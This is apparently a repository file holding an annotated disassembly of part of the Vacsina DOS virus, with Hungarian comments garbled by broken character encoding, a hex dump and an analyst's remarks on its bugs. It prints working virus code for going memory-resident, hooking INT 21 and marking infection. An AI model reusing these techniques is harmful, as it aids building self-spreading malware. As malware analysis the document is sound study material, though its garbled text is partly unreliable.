03BA 8BD4 * MOV DX,SP
|
||||
03BC 2BD3 SUB DX,BX
|
||||
03BE 81EA6C0B SUB DX,0B6C
|
||||
03C2 7228 JB 03EC ;Ugr s, ha nincs el‚g szabad mem˘ria
|
||||
|
||||
|
||||
;A vˇrus k�l”n mem˘riablokkba fog ker�lni, aminek leˇr˘ blokkja a vˇrus el”
|
||||
tt helyezkedik el.
|
||||
;Ennek a mem˘riablokknak hossz t llˇtja itt be.
|
||||
|
||||
03C4 BAC504 MOV DX,04C5 ;Vˇrus ltal ig‚nyelt mem˘ria + 0F
|
||||
03C7 B104 MOV CL,04
|
||||
03C9 D3EA SHR DX,CL ;DIV 10
|
||||
03CB 2E CS:
|
||||
03CC 899754FC MOV [BX+FC54],DX ;MLB_HOSSZ (FFF3) Mem˘rialeˇr˘ blokk
|
||||
hossza
|
||||
|
||||
|
||||
; A vˇrus h tr‚bb m solja mag t (004C paragrafussal)
|
||||
|
||||
03D0 8CD9 MOV CX,DS
|
||||
03D2 03D1 ADD DX,CX
|
||||
03D4 8EC2 MOV ES,DX ;Ide kell h tr‚bbmozgatni mindent
|
||||
03D6 8BF3 MOV SI,BX
|
||||
03D8 81C651FC ADD SI,FC51 ;si=FFF0 (vˇrus a hozz csatolt mem˘
|
||||
rialeˇr˘ blokkal)
|
||||
03DC 8BFE MOV DI,SI ;Ugyanilyen offset� helyre m sol
|
||||
03DE B9B604 MOV CX,04B6 ;Vˇrus hossza
|
||||
03E1 FC CLD
|
||||
03E2 F3 REPZ
|
||||
03E3 A4 MOVSB
|
||||
|
||||
|
||||
; A vez‚rl‚s tker�l a "m solat" vˇrusra
|
||||
|
||||
03E4 06 PUSH ES
|
||||
03E5 E80300 CALL 03EB
|
||||
03E8 EB13 JMP 03FD ;es:03FD-n folytat˘dik
|
||||
03EA 90 NOP
|
||||
03EB CB * RETF
|
||||
|
||||
|
||||
; Az eredeti program futtat sa
|
||||
|
||||
03EC 8CC8 * MOV AX,CS
|
||||
03EE 8ED8 MOV DS,AX ;Szegmensregiszterek be llˇt sa
|
||||
03F0 8EC0 MOV ES,AX
|
||||
03F2 8ED0 MOV SS,AX
|
||||
03F4 2E CS:
|
||||
03F5 8B47FB MOV AX,[BX-05] ;ERE_AX (039A)
|
||||
03F8 2E CS:
|
||||
03F9 FFA70101 JMP [BX+0101] ;ERE_2_3 (04A0) Hol kezd”d”tt az ered
|
||||
eti program?
|
||||
|
||||
|
||||
; Ide ker�l a vez‚rl‚s a m r lem solt vˇrusban (03E8-r˘l)
|
||||
; Az eredeti programot, PSP-j‚t, mem.leˇr˘ blokkj t is h tr‚bb mozgatjuk
|
||||
|
||||
03FD BE0000 * MOV SI,0000 ;Megj.: felesleges
|
||||
0400 BF0000 MOV DI,0000
|
||||
0403 8BCB MOV CX,BX ;bx=039F
|
||||
0405 81C161FC ADD CX,FC61 ;cx=0000 (eredeti program+PSP+mem.le
|
||||
ˇr˘ blokk hossza)
|
||||
0409 8CC2 MOV DX,ES
|
||||
040B 4A DEC DX
|
||||
040C 8EC2 MOV ES,DX ;szegmens--, mert a mem.leˇr˘ blokkot
|
||||
is m soljuk
|
||||
040E 8CDA MOV DX,DS
|
||||
0410 4A DEC DX
|
||||
0411 8EDA MOV DS,DX
|
||||
0413 03F1 ADD SI,CX
|
||||
0415 4E DEC SI ;Visszafel‚ m solunk az‚rt kell
|
||||
0416 8BFE MOV DI,SI
|
||||
0418 FD STD
|
||||
0419 F3 REPZ
|
||||
041A A4 MOVSB
|
||||
041B FC CLD
|
||||
|
||||
|
||||
; H tr‚bbmozgat s dokument l sa
|
||||
|
||||
041C 2E CS:
|
||||
041D 8B9754FC MOV DX,[BX+FC54] ;MLB_HOSSZ=4C Virus ltal lefoglalt m
|
||||
em˘riablokk hossza
|
||||
0421 26 ES:
|
||||
0422 29160300 SUB [0003],DX ;Az eredeti program mem.blokkj nak cs
|
||||
”kkent‚se
|
||||
0426 26 ES:
|
||||
0427 8C0E0100 MOV [0001],CS ;Uj gazda
|
||||
|
||||
|
||||
; Vˇrus visszam sol sa a szabadd tett helyre
|
||||
|
||||
042B BF0000 MOV DI,0000
|
||||
042E 8BF3 MOV SI,BX ;bx=039F
|
||||
0430 81C651FC ADD SI,FC51 ;FFF0 Vˇrus kezdete (mem.leˇr˘ blokk
|
||||
al egy�tt)
|
||||
0434 B9B604 MOV CX,04B6
|
||||
0437 1E PUSH DS
|
||||
0438 07 POP ES ;Vˇsszam solunk
|
||||
0439 0E PUSH CS
|
||||
043A 1F POP DS ;es=ds ; ds=cs
|
||||
043B F3 REPZ
|
||||
043C A4 MOVSB
|
||||
|
||||
|
||||
; Egy‚b teend”k (az Łj PSP miatt)
|
||||
|
||||
043D 26 ES:
|
||||
043E 832E030001 SUB WORD PTR [0003],+01 ;A mem.leˇr˘ blokk hossz t nem kell s
|
||||
z molni!
|
||||
0443 53 PUSH BX
|
||||
0444 8CCB MOV BX,CS
|
||||
0446 B450 MOV AH,50 ;SET_PSP (bx)
|
||||
0448 CD21 INT 21
|
||||
044A 5B POP BX
|
||||
044B 2E CS:
|
||||
044C 8C0E3600 MOV [0036],CS ;PSP-n bel�l a gazda mehat roz sa
|
||||
0450 2E CS:
|
||||
0451 8B162C00 MOV DX,[002C] ;Environment szegmense
|
||||
0455 4A DEC DX
|
||||
0456 8EC2 MOV ES,DX ;Environment mem.leˇr˘ blokkja
|
||||
0458 26 ES:
|
||||
0459 8C0E0100 MOV [0001],CS ;Uj gazda
|
||||
|
||||
|
||||
; INT 21 lek‚rdez‚se ‚s tˇr sa
|
||||
|
||||
045D B82135 MOV AX,3521 ;GET_INT_VECT (es:bx)
|
||||
0460 53 PUSH BX
|
||||
0461 CD21 INT 21
|
||||
0463 36 SS:
|
||||
0464 8C060200 MOV [0002],ES ;ERE_INT21+2
|
||||
0468 36 SS:
|
||||
0469 891E0000 MOV [0000],BX ;ERE_INT21
|
||||
046D 5B POP BX
|
||||
046E B82125 MOV AX,2521 ;SET_INT_VECT (ds:dx)
|
||||
0471 8CD2 MOV DX,SS
|
||||
0473 8EDA MOV DS,DX
|
||||
0475 BAC000 MOV DX,00C0 ;00C0-t˘l lesz az INT 21 rutin
|
||||
0478 CD21 INT 21
|
||||
|
||||
|
||||
; "A vˇrus m r a mem˘ri ban van" jelz‚s
|
||||
|
||||
047A B80000 MOV AX,0000
|
||||
047D 8EC0 MOV ES,AX
|
||||
047F 26 ES:
|
||||
0480 C706C5007F39 MOV WORD PTR [00C5],397F;Azonosˇt˘ sz˘
|
||||
0486 26 ES:
|
||||
0487 C606C70005 MOV BYTE PTR [00C7],05 ;Vˇrus verzi˘sz ma
|
||||
|
||||
|
||||
; DTA be llˇt sa (rosszul!)
|
||||
|
||||
048C 8CC8 MOV AX,CS
|
||||
048E 8ED8 MOV DS,AX
|
||||
0490 B41A MOV AH,1A ;SET_DTA_ADDRESS (ds:dx)
|
||||
0492 BA5000 MOV DX,0050 ;HIBA !!! 0080 kellene
|
||||
0495 CD21 INT 21
|
||||
|
||||
|
||||
; Az eredeti program futtat s ra ugr s
|
||||
|
||||
0497 2E CS:
|
||||
0498 8B47FB MOV AX,[BX-05] ;ERE_AX (039A) Megj.:Teljesen felesle
|
||||
ges
|
||||
049B E94EFF JMP 03EC
|
||||
|
||||
|
||||
|
||||
;---------------------------------------------------------------
|
||||
; A file utols˘ 8 byteja tartalmazza a fontos inform ci˘kat
|
||||
;---------------------------------------------------------------
|
||||
|
||||
049E ERE_HOSSZ DW ? ;A file eredeti hossza
|
||||
04A0 ERE_2_3 DW ? ;A file eredeti 2.,3. byteja+0103
|
||||
04A2 AZONOSITO DW 7AF4 ;Azonosˇt˘sz˘. Ez alapj n ismeri fel a fert”z‚
|
||||
st
|
||||
04A4 VERZIOSZAM DB 5 ;Vˇrus verzi˘sz ma
|
||||
04A5 ERE_1 DB 0 ;M‚g nem haszn lt (az els” byte mindig E9)
|
||||
|
||||
|
||||
Vˇrus elej‚nek hexa dump-ja:
|
||||
|
||||
cs-1:0000 4D 07 00 4B 00 00 00 00-00 00 00 00 00 00 00 00 M..K............
|
||||
cs-1:0010 72 0E AE 0F 56 05 20 0D-20 00 05 00 03 01 CD 21 r...V. . ......!
|
||||
cs-1:0020 B4 00 CD 20 00 56 41 43-53 49 4E 41 20 20 20 20 ... .VACSINA
|
||||
cs-1:0030 00 00 80 00 00 00 00 00-7C 11 37 A8 00 40 C2 00 ........|.7..@..
|
||||
cs-1:0040 46 0A 00 00 00 00 00 00-00 20 20 20 20 20 20 20 F........
|
||||
cs-1:0050 20 20 20 20 20 20 20 20-20 20 20 20 20 E8 00 00 ...
|
||||
|
||||
|
||||
Megjegyz‚sek:
|
||||
|
||||
- A file eredeti idej‚t nem k‚redezi le, ‚s nem llˇtja vissza.
|
||||
- DTA-t rosszul llˇtja be. Ez a gyermekbetegs‚g a k‚s”bbi verzi˘kban is megmara
|
||||
dt.
|
||||
- �rdekes, hogy az EXE k˘dj t az 5A4D-t itt csak ˇgy haszn lja, mˇg a k‚s”bbi ve
|
||||
rzi˘k a 4D5A-t
|
||||
is haszn lj k.
|
||||
- EXE-k COM-m alakˇt sa ut n nem tudom, hogy mi‚rt nem mindj rt a COM megfert”z
|
||||
‚se r‚szre ugrik.
|
||||
- J˘p r felesleges utasˇt s van a k˘dban, ami m‚g a k‚s”bbi verzi˘kban is megmar
|
||||
adt.
|
||||
- A vˇrus eg‚sz m�k”d‚se arra utal, hogy csak kis‚rletez‚sr”l van sz˘.
|
||||
Reference in New Issue
Block a user